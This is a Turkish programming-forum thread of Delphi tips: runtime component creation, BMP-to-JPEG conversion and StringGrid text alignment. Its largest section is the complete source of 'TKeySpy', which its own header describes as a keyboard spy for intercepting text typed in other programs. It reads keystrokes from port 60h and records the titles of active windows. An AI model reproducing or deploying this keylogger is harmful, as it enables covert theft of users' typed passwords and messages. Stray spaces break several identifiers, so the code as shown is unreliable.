Çalışma Esnasında Program İçerisinden Bileşen

**musa_123** · 30-01-2007, 02:54 PM

-------------------------------kodlar------------------------------

var
Label1: TLabel ;
ComboBox1:TComboBox;
SpinEdit1:TSpinEdit;
DateTimePicker1:TDateTimePicke r;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
Begin
// Label1 Bileşeni Oluşturuldu

Label1 := TLabel.Create(self) ;
With Label1 Do Begin
Parent:=Self;
Left := 5;
Top := 70;
Width := 70;
Height := 13;
Alignment := taRightJustify;
AutoSize := False;
Caption := 'Listeler:';
end;
// ComboBox1 Bileşeni Oluşturuldu

ComboBox1:=TComboBox.Create(se lf);
With ComboBox1 Do Begin
Parent:=Self;
Left := 85;
Top := 65;
Width := 145;
Height := 21;
ItemHeight := 13;
TabOrder := 3;
Text := 'Liste1';
Items.Clear;
Items.Add('Liste1');
Items.Add('Liste2');
Items.Add('Liste3');;
end;
// DateTimePicker1 Bileşeni Oluşturuldu
DateTimePicker1:=TDateTimePick er.Create(self);
With DateTimePicker1 Do Begin
Parent:=Self;
Left := 85;
Top := 90;
Width := 146;
Height := 21;
CalAlignment := dtaLeft;
Date := 36964.028340625;
Time := 36964.028340625;
DateFormat := dfShort;
DateMode := dmComboBox;
Kind := dtkDate;
ParseInput := False;
TabOrder := 4;
end;
end;
4.2 Harici Bir Ortamdan Basılan Tuşu Anlamak KeyBoard Hook

{***************************** ****************************** **}
{ TKeySpy Component for Delphi 16/32 }
{ Version: 2.8 }
{ E-Mail: [Linkleri Sadece Üyelerimiz Görebilir... ] }
{ Home page: [Linkleri Sadece Üyelerimiz Görebilir... ] }
{ Created: August, 16, 1998 }
{ Modified: June, 6, 2000 }
{ Legal: Copyright (c) 1998-2000, UtilMind Solutions }
{***************************** ****************************** **}
{ KEYBOARD SPY: }
{ This component is intended for interception of pressing the }
{ keyboard. The KeySpy is possible to apply for interception }
{ of the typed text of the another's programs, as keyboard }
{ spy, or for processing events at type certain keywords etc..}
{***************************** ****************************** **}
{ Properties: ****************************** ******************}
{ Enabled: As it usual... }
{ Keyword: At a set of this word event will be }
{ carried out (See OnKeyword event). }
{ ActiveLayout: Active keyboard layout (string) Win32 only }
{ SpyLayout: now present English, Russian, German }
{ & Italian }
{ActiveWindowTitle: Title of active window (Read only) }
{ Events: ****************************** ******************}
{ OnKeySpyDown: As OnKeyDown, but in any place (window). }
{ OnKeySpyUp: As OnKeyUp, but in any place (window). }
{ OnKeyword: The Keyword has been typed (See Keyword). }
{ OnLayoutChanged: The Keyboard layout was changed. Win32 only}
{ OnActiveWindowChanged: }
{***************************** ****************************** **}
{ IMPORTANT NOTE: }
{ This code may be used and modified by anyone so long as }
{ this header and copyright information remains intact. By }
{ using this code you agree to indemnify UtilMind Solutions }
{ from any liability that might arise from its use. You must }
{ obtain written consent before selling or redistributing }
{ this code. }
{***************************** ****************************** **}
{ Changes: }
{ 20.I.1999: Added 32-bit support }
{ 14.V.1999: Added OnChangeLayout event. }
{ Added Italian and Russian keyboard layouts. }
{ 28.V.1999: Added ActiveWindowTitle property. }
{ 27.VII.1999: Added Portugese keyboard layout. }
{ Thanks to Tiago Correia ( [Linkleri Sadece Üyelerimiz Görebilir... ])}
{ 19.IX.1999: Added German keyboard layout (added by Slaine, }
{ [Linkleri Sadece Üyelerimiz Görebilir... ]) }
{ 5.V.2000: Added French keyboard layout (added by Vincent }
{ CALLIES, [Linkleri Sadece Üyelerimiz Görebilir... ]) }
{***************************** ****************************** **}
unit KeySpy;

interface

uses
{$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF}
SysUtils, Controls, Classes, Messages, Forms;

type
TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object;
{$IFDEF Win32}
TOnLayoutChanged = procedure(Sender: TObject; Layout: String) of object;
{$ENDIF}
TOnActiveWindowChanged = procedure(Sender: TObject; ActiveTitle: String) of object;
TKeySpy = class(TComponent)
private
{$IFDEF Win32}
CurrentLayout: String;
FActiveLayout: String;
{$ENDIF}
CurrentActiveWindowTitle: String;
FActiveWindowTitle: String;
FSpyLayout: TSpyLayout;
FWindowHandle: HWnd;
FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
FOnKeyword: TNotifyEvent;
{$IFDEF Win32}
FOnLayoutChanged: TOnLayoutChanged;
{$ENDIF}
FOnActiveWindowChanged: TOnActiveWindowChanged;
FEnabled: Boolean;
FKeyword,
KeyComp: String;

OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
procedure UpdateTimer;
procedure SetEnabled(Value: Boolean);
procedure SetKeyword(Value: String);
procedure WndProc(var Msg: TMessage);
procedure SetNothingStr(Value: String);
protected
procedure KeySpy; dynamic;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
property Enabled: Boolean read FEnabled write SetEnabled;
property Keyword: String read FKeyword write SetKeyword;
property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
{$IFDEF Win32}
property ActiveLayout: String read FActiveLayout write FActiveLayout;
{$ENDIF}
property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
{$IFDEF Win32}
property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
{$ENDIF}
property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
end;

procedure Register;

implementation

{$I KLayouts.inc}

constructor TKeySpy.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
LShiftUp := True;
RShiftUp := True;
FEnabled := True;
FWindowHandle := AllocateHWnd(WndProc);
if FEnabled then UpdateTimer;
end;

destructor TKeySpy.Destroy;
begin
FEnabled := False;
UpdateTimer;
DeallocateHWnd(FWindowHandle);
inherited Destroy;
end;

procedure TKeySpy.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeySpy;
except
Application.HandleException(Se lf);
end
else
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;

procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;

procedure TKeySpy.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
FEnabled := Value;
UpdateTimer;
end;
end;

procedure TKeySpy.SetKeyword(Value: String);
begin
Value := LowerCase(Value);
if Value <> FKeyword then
FKeyword := Value;
end;

procedure TKeySpy.KeySpy;
var
PC: Array [0..$FFF] of Char;
Key: Byte;
St: String;
Wnd: hWnd;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$ELSE}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
FActiveWindowTitle := StrPas(PC);
if CurrentActiveWindowTitle <> FActiveWindowTitle then
begin
CurrentActiveWindowTitle := FActiveWindowTitle;
if Assigned(FOnActiveWindowChange d) then
FOnActiveWindowChanged(Self, FActiveWindowTitle);
end;

{$IFDEF Win32}
GetKeyboardLayoutName(PC);
FActiveLayout := StrPas(PC);
if (FActiveLayout <> CurrentLayout) then
begin
CurrentLayout := FActiveLayout;
if Assigned(FOnLayoutChanged) then
FOnLayoutChanged(Self, FActiveLayout);
end;
{$ENDIF}

asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then LShiftUp := False;
if Key = 54 then RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key])
else
St := StrPas(ItalianHiButtonName[Key]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key])
else
St := StrPas(RussianHiButtonName[Key]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName [Key])
else
St := StrPas(PortugueseHiButtonName[Key]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key])
else
St := StrPas(GermanHiButtonName[Key]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key])
else
St := StrPas(FrenchHiButtonName[Key]);
end;
if Assigned(FOnKeySpyDown) then
FOnKeySpyDown(Self, Key, St);

if Assigned(FOnKeyword) then
begin
KeyComp := KeyComp + St;
if Length(KeyComp) > Length(FKeyword) then
begin
Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
{$IFDEF WIN32}
SetLength(KeyComp, Length(FKeyword));
{$ELSE}
KeyComp[0] := char(Length(FKeyword));
{$ENDIF}
end;
if LowerCase(KeyComp) = FKeyword then
FOnKeyword(Self);
end;
end
else
if Key - 128 <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key - 128])
else
St := StrPas(ItalianHiButtonName[Key - 128]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key - 128])
else
St := StrPas(RussianHiButtonName[Key - 128]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName [Key - 128])
else
St := StrPas(PortugueseHiButtonName[Key - 128]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key - 128])
else
St := StrPas(GermanHiButtonName[Key - 128]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key - 128])
else
St := StrPas(FrenchHiButtonName[Key - 128]);
end;
if Assigned(FOnKeySpyUp) then
FOnKeySpyUp(Self, Key, St)
end;
end;
end;

procedure TKeySpy.SetNothingStr(Value: String); begin {} end;

procedure Register;
begin
RegisterComponents('UtilMind', [TKeySpy]);
end;

end.
4.3 BMP'den JPEG'e Dönüştürme

uses jpeg;

procedure TForm1.Button1Click(Sender: TObject);
var
bmp : TImage;
jpg : TJpegImage;
begin
bmp := TImage.Create(nil);
jpg := TJpegImage.Create;
bmp.picture.bitmap.LoadFromFil e ( 'c:\picture.bmp' );
jpg.Assign( bmp.picture.bitmap );
jpg.SaveToFile ( 'c:\picture.jpg' );
jpg.Free;
bmp.Free;
end;
4.4 StringGrid'de Elemanları İstenilen Yöne Dayanmış Şekilde Yazdırmak

procedure DrawCell(const Value: String; const Rect: TRect;
vCanvas: TCanvas; vFont: TFont; vAlignment: TAlignment);
VAR X : Integer;
BEGIN
vCanvas.Font := vFont;
CASE vAlignment OF
taRightJustify : BEGIN
SetTextAlign(vCanvas.Handle, TA_RIGHT);
X := Rect.Right-2;
END;
taLeftJustify : BEGIN
SetTextAlign(vCanvas.Handle, TA_LEFT);
X := Rect.Left+2;
END;
taCenter : BEGIN
SetTextAlign(vCanvas.Handle, TA_CENTER);
X := (Rect.Right+Rect.Left) DIV 2;
END;
END;
vCanvas.TextRect(Rect, X, Rect.Top+2, Value);
SetTextAlign(vCanvas.Handle, TA_LEFT);
END;

// Kullanimi: (StringGrid1.OnDrawCell event handler'i)

procedure TForm1.StringGrid1DrawCell(Sen der: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
begin
case ACol of
1:
DrawCell((Sender as TStringGrid).Cells[ACol, ARow], Rect, (Sender as TStringGrid).Canvas,
(Sender as TStringGrid).Font, taRightJustify);
2:
DrawCell((Sender as TStringGrid).Cells[ACol, ARow], Rect, (Sender as TStringGrid).Canvas,
(Sender as TStringGrid).Font, taCenter);
3:
DrawCell((Sender as TStringGrid).Cells[ACol, ARow], Rect, (Sender as TStringGrid).Canvas,
(Sender as TStringGrid).Font, taLeftJustify);
else ;
end;
end;

enigma04 · 08-02-2007, 02:08 PM

saoll kardeş...

**musa_123** · 14-03-2007, 05:10 PM

sen saol delal

Konu Araçları
Yazıcı Çıktısını Göster Sayfayı E-posta ile Yolla
Mod Seç
Düzenli Mod Karışık Moda Geç Konu Moduna Geç

Popüler Konular: Bydigi Forum'un En Popüler Konuları
Sizin İçin Seçtiklerimiz-1: Norton AntiVirus 2008 Panda Antivirus & Firewall 2008 AVG Anti-Virus Free Edition 8.0.100 McAfee VirusScan Enterprise 8.5i Avast! 4 Professional Edition 4.8.1169 Kaspersky Internet Security 7.0.1.325 Anti-Porn 10.4.11.15 BitDefender Internet Security 11.0.9 (2008) Eset Smart Security 3.0.642 Ad-Aware 2008	Sizin İçin Seçtiklerimiz-2: Şeftali Yetiştiriciliği Ekolojik Tarım ve Hayvancılık Süt Verimini Etkileyen Faktörler Dört barajda su bitmek üzere Karbondioksit salımı yüzde 50’den çok artacak VAN (Wan) Tarihi Amed (Diyarbakır) Tarihi İç Anadolu Hakkında Genel Bilgi Kültür ve Turizm Bakanlığı müfettiş yardımcılığı 2008 yılı icra müdür ve yardımcılığı sınav ilanı	Sizin İçin Seçtiklerimiz-3: Siz Hangi Yemeksiniz ? Doğum gününüze göre hangi hayvansınız? Doğum Tarihinize Göre Renginiz! Bebeklerde Gaz Çıkarma Virüs taşıyan keneler dehşet saçıyor Şiddetin genlerle ilişkisi olabilir Karpuz Viagra Etkisi Yapıyor Panasonic Sony'yi tahtından etti! Mehmet Atlı - Wenda 2008 grup seyran - 2008

Benzer Konular
Konu	Konuyu Başlatan	Forum	Yanıt	Son Mesaj
50 den fazla program....	taham	Ses ve Görüntü	14	14-01-2008 10:54 PM
41 Adet Kullanışlı ve popüler program paket - Tek link	semerkand	Program Download	11	05-11-2007 06:10 PM
OUGO- İnternetten Para Kazandıran Program Ben Denedim Oluyor	Bünni	Program Download	6	24-03-2007 11:15 PM

Çalışma Esnasında Program İçerisinden Bileşen

Benzer Konular